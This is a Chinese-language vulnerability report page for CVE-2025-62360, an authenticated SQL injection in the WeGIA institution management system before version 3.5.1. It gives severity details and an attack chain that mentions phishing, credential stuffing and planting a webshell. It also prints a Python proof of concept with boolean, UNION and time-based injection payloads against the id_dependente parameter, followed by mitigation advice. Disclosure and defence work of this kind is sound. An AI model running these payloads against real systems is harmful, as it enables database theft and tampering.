IPBUF安全漏洞报告
English
CVE-2025-62360 CVSS 8.8 高危

CVE-2025-62360:WeGIA SQL注入漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62360
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WeGIA(面向葡萄牙语用户的开源机构Web管理系统)

相关标签

SQL注入WeGIACVE-2025-62360高危漏洞Web应用安全PHP数据库安全信息泄露权限提升

漏洞概述

CVE-2025-62360是WeGIA(Web Manager for Institutions)管理系统中存在的一个高危SQL注入漏洞。WeGIA是一款专注于葡萄牙语用户的开源机构管理Web应用,广泛用于管理各类机构事务。该漏洞存在于版本3.5.1之前的WeGIA系统中,具体位于/html/funcionario/dependente_documento.php端点。攻击者可以通过操控id_dependente参数注入恶意的SQL语句,从而绕过应用程序的正常查询逻辑,直接与后端数据库进行交互。由于该漏洞允许执行任意SQL命令,攻击者能够完全破坏数据库的机密性、完整性和可用性——包括未经授权地读取敏感数据(如用户凭证、个人信息等)、篡改或删除数据库中的记录,甚至在某些数据库配置下执行系统级命令以获取服务器控制权。该漏洞的CVSS 3.1评分为8.8分,属于高危级别,攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞已于WeGIA 3.5.1版本中修复,官方通过GitHub安全公告(GHSA-m4j6-q5m4-x24g和GHSA-mwvv-q9gh-gwxm)发布了修复补丁及相关说明。

技术细节

该漏洞的根源在于WeGIA的/html/funcionario/dependente_documento.php端点对用户输入的id_dependente参数缺乏充分的验证和过滤。在正常情况下,该参数预期接收一个整数值用于查询数据库中与特定被抚养人(dependente)相关的文档记录。然而,由于代码直接将用户输入拼接到SQL查询语句中而未使用参数化查询(Prepared Statements)或适当的输入清理,攻击者可以通过构造特殊的SQL片段来改变原始查询的语义。

利用方式上,攻击者首先需要拥有低权限的认证账户(PR:L),然后向目标端点发送包含恶意SQL负载的HTTP请求。例如,攻击者可以在id_dependente参数中注入类似' OR '1'='1的逻辑条件绕过WHERE子句限制,或使用UNION SELECT语句从其他数据表中提取数据。在更高级的攻击场景中,攻击者可以利用基于时间的盲注技术(如SLEEP()函数)或基于布尔的盲注技术逐字节提取数据库内容。若数据库用户权限配置不当,攻击者甚至可以利用MySQL的INTO OUTFILE或LOAD_FILE()函数读写服务器文件,或通过UDF(用户自定义函数)执行操作系统命令。该漏洞的修复通过将直接拼接的SQL查询重构为参数化查询实现,从根本上阻断了SQL注入的可能性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开渠道(如GitHub)识别目标使用WeGIA管理系统,并确定其版本低于3.5.1,确认存在SQL注入漏洞。
STEP 2
步骤2:获取认证凭证
由于漏洞利用需要低权限认证(PR:L),攻击者通过钓鱼、凭证填充或利用其他漏洞获取一个有效的低权限用户账户。
STEP 3
步骤3:构造恶意请求
攻击者登录系统后,向/html/funcionario/dependente_documento.php端点发送包含恶意SQL负载的HTTP请求,在id_dependente参数中注入SQL语句。
STEP 4
步骤4:执行SQL注入
服务器将恶意参数直接拼接到SQL查询中执行,攻击者可通过UNION查询提取数据、通过盲注逐字节获取信息,或通过时间延迟确认漏洞。
STEP 5
步骤5:数据窃取与破坏
攻击者提取数据库中的敏感信息(如用户凭证、个人信息、管理员数据),并可能篡改或删除数据库记录,严重破坏系统的机密性、完整性和可用性。
STEP 6
步骤6:权限提升与持久化
在数据库权限允许的情况下,攻击者可能进一步利用数据库功能(如读取文件、写入Webshell)实现服务器级别的入侵,建立持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62360 - WeGIA SQL Injection PoC # Target: /html/funcionario/dependente_documento.php # Vulnerable Parameter: id_dependente # Requires: Low-privilege authenticated access import requests TARGET_URL = "http://target-wegia-server" LOGIN_URL = f"{TARGET_URL}/login.php" VULN_ENDPOINT = f"{TARGET_URL}/html/funcionario/dependente_documento.php" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_data = { "usuario": USERNAME, "senha": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via id_dependente parameter # Example 1: Boolean-based blind injection (verify vulnerability) payload_boolean = "1' OR '1'='1" params = {"id_dependente": payload_boolean} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] Boolean-based test - Status: {response.status_code}, Length: {len(response.text)}") # Example 2: UNION-based injection to extract database version payload_union = ( "1' UNION SELECT 1,2,3,4,version(),6,7,8,9,10-- -" ) params = {"id_dependente": payload_union} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] UNION-based extraction:\n{response.text}") # Example 3: Time-based blind injection to confirm import time payload_time = "1' AND SLEEP(5)-- -" start = time.time() response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_time}) elapsed = time.time() - start print(f"[+] Time-based blind test - Elapsed: {elapsed:.2f}s (expect ~5s if vulnerable)") # Example 4: Extract database name using error-based or UNION injection payload_dbname = "1' UNION SELECT database(),2,3,4,5,6,7,8,9,10-- -" response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_dbname}) print(f"[+] Database name extraction:\n{response.text}")

影响范围

WeGIA < 3.5.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)或反向代理规则,拦截包含SQL关键字(如UNION、SELECT、SLEEP、OR等)的针对/html/funcionario/dependente_documento.php端点的请求;2)限制该端点的访问权限,仅允许特定IP地址或管理用户访问;3)审查并修改dependente_documento.php源代码,对id_dependente参数进行强制类型转换(如intval())和输入验证;4)监控数据库日志,查找异常的查询模式或大量数据返回的请求;5)限制数据库连接账户的权限,禁止其执行FILE、PROCESS等高危操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表